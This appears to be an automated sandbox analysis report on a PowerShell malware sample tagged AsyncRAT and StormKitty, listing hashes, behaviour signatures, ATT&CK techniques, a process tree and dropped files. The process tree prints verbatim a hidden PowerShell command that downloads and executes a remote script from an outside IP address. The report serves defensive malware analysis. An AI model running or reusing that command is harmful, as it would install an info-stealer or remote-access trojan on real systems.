asyncrat | 61270d6564a80eff42a00bf542fc79224949fb27df8c1d6d3acbaa6000fc8577

Analysis

max time kernel
149s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
02-01-2025 18:12

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General

Target

wrcaf.ps1
Size

2KB
MD5

898d5189a1dc57fa7a80b4d986ef77c9
SHA1

aeb3667119b2fda564f498d26c04758caf44b1c5
SHA256

61270d6564a80eff42a00bf542fc79224949fb27df8c1d6d3acbaa6000fc8577
SHA512

d8cc4add28939f7072fad657b863f0e49ae420bae27a952db499f66caebbda79ff29a552f12ef0cd2cbd1d32003c0db940f0a16bceca196cd3684472c0c2e8c8

Score

10^/10

asyncrat stormkitty discovery execution rat stealer

Malware Config

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Asyncrat family
asyncrat
StormKitty
StormKitty is an open source info stealer written in C#.
stealer stormkitty

StormKitty payload 1 IoCs

resource	yara_rule
behavioral2/memory/4572-58-0x0000000000400000-0x0000000000704000-memory.dmp	family_stormkitty

Stormkitty family
stormkitty

Blocklisted process makes network request 2 IoCs

flow	pid	Process
7	2168	powershell.exe
16	1952	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1952	powershell.exe
2168	powershell.exe

Downloads MZ/PE file

Drops startup file 1 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DeleteApp.url	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
1004	Package.exe

Loads dropped DLL 1 IoCs

pid	Process
1004	Package.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1952 set thread context of 4572	1952	powershell.exe	93

Program crash 1 IoCs

pid	pid_target	Process	procid_target
2508	1004	WerFault.exe	84

System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cvtres.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Package.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	csc.exe

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
2168	powershell.exe
2168	powershell.exe
2168	powershell.exe
2168	powershell.exe
1952	powershell.exe
1952	powershell.exe
1952	powershell.exe
1952	powershell.exe
4572	RegAsm.exe
4572	RegAsm.exe
4572	RegAsm.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2168	powershell.exe
Token: SeDebugPrivilege	1952	powershell.exe
Token: SeDebugPrivilege	4572	RegAsm.exe

Suspicious use of SetWindowsHookEx 4 IoCs

pid	Process
1004	Package.exe
1004	Package.exe
1004	Package.exe
4572	RegAsm.exe

Suspicious use of WriteProcessMemory 28 IoCs

description	pid	Process	procid_target
PID 2168 wrote to memory of 4556	2168	powershell.exe	83
PID 2168 wrote to memory of 4556	2168	powershell.exe	83
PID 4556 wrote to memory of 1004	4556	cmd.exe	84
PID 4556 wrote to memory of 1004	4556	cmd.exe	84
PID 4556 wrote to memory of 1004	4556	cmd.exe	84
PID 1004 wrote to memory of 232	1004	Package.exe	85
PID 1004 wrote to memory of 232	1004	Package.exe	85
PID 1004 wrote to memory of 232	1004	Package.exe	85
PID 232 wrote to memory of 1952	232	cmd.exe	87
PID 232 wrote to memory of 1952	232	cmd.exe	87
PID 232 wrote to memory of 1952	232	cmd.exe	87
PID 1952 wrote to memory of 3692	1952	powershell.exe	88
PID 1952 wrote to memory of 3692	1952	powershell.exe	88
PID 1952 wrote to memory of 3692	1952	powershell.exe	88
PID 3692 wrote to memory of 1056	3692	csc.exe	89
PID 3692 wrote to memory of 1056	3692	csc.exe	89
PID 3692 wrote to memory of 1056	3692	csc.exe	89
PID 1952 wrote to memory of 4908	1952	powershell.exe	92
PID 1952 wrote to memory of 4908	1952	powershell.exe	92
PID 1952 wrote to memory of 4908	1952	powershell.exe	92
PID 1952 wrote to memory of 4572	1952	powershell.exe	93
PID 1952 wrote to memory of 4572	1952	powershell.exe	93
PID 1952 wrote to memory of 4572	1952	powershell.exe	93
PID 1952 wrote to memory of 4572	1952	powershell.exe	93
PID 1952 wrote to memory of 4572	1952	powershell.exe	93
PID 1952 wrote to memory of 4572	1952	powershell.exe	93
PID 1952 wrote to memory of 4572	1952	powershell.exe	93
PID 1952 wrote to memory of 4572	1952	powershell.exe	93

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\wrcaf.ps1
1⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Drops startup file
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2168
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c "C:\Windows\Temp\Package.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4556
- - C:\Windows\Temp\Package.exe
    C:\Windows\Temp\Package.exe
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:1004
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -windowstyle hidden -command "iwr -useb http://147.45.44.131/infopage/iubn.ps1 -Headers @{ 'X-Special-Header' = 'qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq' } | iex"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:232
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -windowstyle hidden -command "iwr -useb http://147.45.44.131/infopage/iubn.ps1 -Headers @{ 'X-Special-Header' = 'qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq' } | iex"
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:1952
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\5klvsxku\5klvsxku.cmdline"
        6⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:3692
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESC3AE.tmp" "c:\Users\Admin\AppData\Local\Temp\5klvsxku\CSC8C34315DEF604E7DAE7A3FF0EF13EE11.TMP"
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:1056
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        6⤵
        
        PID:4908
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        6⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of SetWindowsHookEx
        
        PID:4572
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 1004 -s 212
      4⤵
      Program crash
      PID:2508

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 416 -p 1004 -ip 1004
1⤵
PID:3604

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
eb4d127b8a6f84a1cee423c5e3e3a51d

SHA1
c55263a8ff097067f2393ce2120801a445fd1949

SHA256
d73b077e2ae7f7608ebf774fb83ab13c7bc7a5c3e4d9d96fda2bf695dc698514

SHA512
45a52004f8b63ac089de017437ba0e03335f18469942795d36ce3c3d017f842e582103c91e07d9af0fa8dfbbe6f2f68f2fac91383a48b6535952a8630911f21e

Download Submit
C:\Users\Admin\AppData\Local\Temp\5klvsxku\5klvsxku.dll

Filesize
9KB

MD5
5b45bdbc306b85ffd33862fdf2746713

SHA1
e640d40752eefe351571e0cd2002bcb447841d66

SHA256
116d71cd5db8acbc0d66a1407b8ce6024dcfda370823875cdcdddd77c4798895

SHA512
d9f7d0bcb21eab03322ffa0da3be75555742846ccf04b86acf957eb7726e42db54b085004700f599b6131106def464d4bb92973a349aaa6f56833c920a9d4566

Download Submit
C:\Users\Admin\AppData\Local\Temp\RESC3AE.tmp

Filesize
1KB

MD5
6ff1f8281029cbe08c13413c0c1813a5

SHA1
d005949859f864be17fa0fb78172429ade0d98c8

SHA256
ae000fb0debe58b48b758372fcb3ea92b7799f632b6675a4505f7ac0f91fb783

SHA512
e7cb2e763ee00a38fae5a77487c8fc3b18839b5989c508db687de0e0260a41b6d74b0535ce9d828344b7877b350662f11f152c674301efcec10deaabba088d5b

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qisd5bxd.acz.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Windows\Temp\IVIEWERS.DLL

Filesize
88KB

MD5
33ae2b9c3e710254fe2e2ce35ff8a7c8

SHA1
109e32187254b27e04ef18bbe1b48fad42bca841

SHA256
9c2838e120c7ed5b582bedc6177f14a52aa578adeea269d0f96fc71a95bd6e68

SHA512
2abe017e2f1d29fe789206d6483b9b33e7abd0871300d678eaba15e390d55c5e197d6cea6ea32dfdee5f65d082574adcc192a4fc0c9506bbba8ad7e957e12599

Download Submit
C:\Windows\Temp\Package.exe

Filesize
201KB

MD5
2696d944ffbef69510b0c826446fd748

SHA1
e4106861076981799719876019fe5224eac2655c

SHA256
a4f53964cdddcccbd1b46da4d3f7f5f4292b5dd11c833d3db3a1e7def36da69a

SHA512
c286bc2da757cbb2a28cf516a4a273dd11b15f674d5f698a713dc794f013b7502a8893ab6041e51bab3cdd506a18c415b9df8483b19e312f8fcb88923f42b8eb

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\5klvsxku\5klvsxku.0.cs

Filesize
10KB

MD5
3fa79decff8805745cea8116d9bb2643

SHA1
92343c5fa2c768b964ae3a4e9136e5d7193e8558

SHA256
e6852a401b53a7af04d57aa1e4fc9621e3dffc1221534142316a27ae67e8f89c

SHA512
5c2879e59fa6609e6e87f70c5237b250a906bf7dd13a343dac9e81635b1fc91ad9374e643a306b99503c52ce9bd56554a64aa132584c732d43ee39fb17305d78

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\5klvsxku\5klvsxku.cmdline

Filesize
204B

MD5
8d01f07c7b4ca2abbdd79e41b35e9845

SHA1
f03a63414cba40697bbf171d43fc728ddf0c1e71

SHA256
18f9ac3be160f9c37916d732575ad3fa0e82a39c27dcc2decd33e885d1a93f36

SHA512
bab3e766e4dc0ed2e21c02bd54fe55e82a57a02b824077ff7ac42df68b6ae6c818f68e9a3355525edbc727f4bf8533ad604607339da70b0551455f876636ebf8

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\5klvsxku\CSC8C34315DEF604E7DAE7A3FF0EF13EE11.TMP

Filesize
652B

MD5
1d90d798c5e3934ce9ed26c09323d7e9

SHA1
7bfa7bbe6b1af618459e6c864ecb85aa932a43d8

SHA256
f56eb9abaae5c8e34c50b14c7b52bcdb248e4180fbbf37208b928679b5fdbb5a

SHA512
d492ddf59886fecb0c59311e901afcfe86316d5d50717c7342b0df21ea1917c07a531a08364da69e89624acac03040871ab32ee93fd82a0ad0f5f86ecf44ceb1

Download Submit
memory/1952-23-0x0000000002D90000-0x0000000002DC6000-memory.dmp

Filesize
216KB

Download
memory/1952-56-0x0000000007A00000-0x0000000007A08000-memory.dmp

Filesize
32KB

Download
memory/1952-26-0x0000000005C70000-0x0000000005CD6000-memory.dmp

Filesize
408KB

Download
memory/1952-27-0x0000000005CE0000-0x0000000005D46000-memory.dmp

Filesize
408KB

Download
memory/1952-37-0x0000000005DC0000-0x0000000006114000-memory.dmp

Filesize
3.3MB

Download
memory/1952-24-0x0000000005640000-0x0000000005C68000-memory.dmp

Filesize
6.2MB

Download
memory/1952-39-0x00000000063E0000-0x00000000063FE000-memory.dmp

Filesize
120KB

Download
memory/1952-40-0x0000000006490000-0x00000000064DC000-memory.dmp

Filesize
304KB

Download
memory/1952-41-0x0000000007C90000-0x000000000830A000-memory.dmp

Filesize
6.5MB

Download
memory/1952-42-0x00000000068F0000-0x000000000690A000-memory.dmp

Filesize
104KB

Download
memory/1952-43-0x00000000079F0000-0x00000000079FE000-memory.dmp

Filesize
56KB

Download
memory/1952-25-0x0000000005540000-0x0000000005562000-memory.dmp

Filesize
136KB

Download
memory/2168-18-0x00007FF9184C0000-0x00007FF918F81000-memory.dmp

Filesize
10.8MB

Download
memory/2168-12-0x00007FF9184C0000-0x00007FF918F81000-memory.dmp

Filesize
10.8MB

Download
memory/2168-11-0x00007FF9184C0000-0x00007FF918F81000-memory.dmp

Filesize
10.8MB

Download
memory/2168-1-0x00000277B97B0000-0x00000277B97D2000-memory.dmp

Filesize
136KB

Download
memory/2168-0-0x00007FF9184C3000-0x00007FF9184C5000-memory.dmp

Filesize
8KB

Download
memory/4572-58-0x0000000000400000-0x0000000000704000-memory.dmp

Filesize
3.0MB

Download
memory/4572-61-0x0000000005680000-0x0000000005C24000-memory.dmp

Filesize
5.6MB

Download
memory/4572-62-0x0000000005510000-0x00000000055A2000-memory.dmp

Filesize
584KB

Download
memory/4572-63-0x00000000054F0000-0x00000000054FA000-memory.dmp

Filesize
40KB

Download
memory/4572-66-0x0000000006520000-0x00000000065BC000-memory.dmp

Filesize
624KB

Download
memory/4572-67-0x0000000007070000-0x00000000070E6000-memory.dmp

Filesize
472KB

Download
memory/4572-68-0x00000000073B0000-0x00000000073CE000-memory.dmp

Filesize
120KB

Download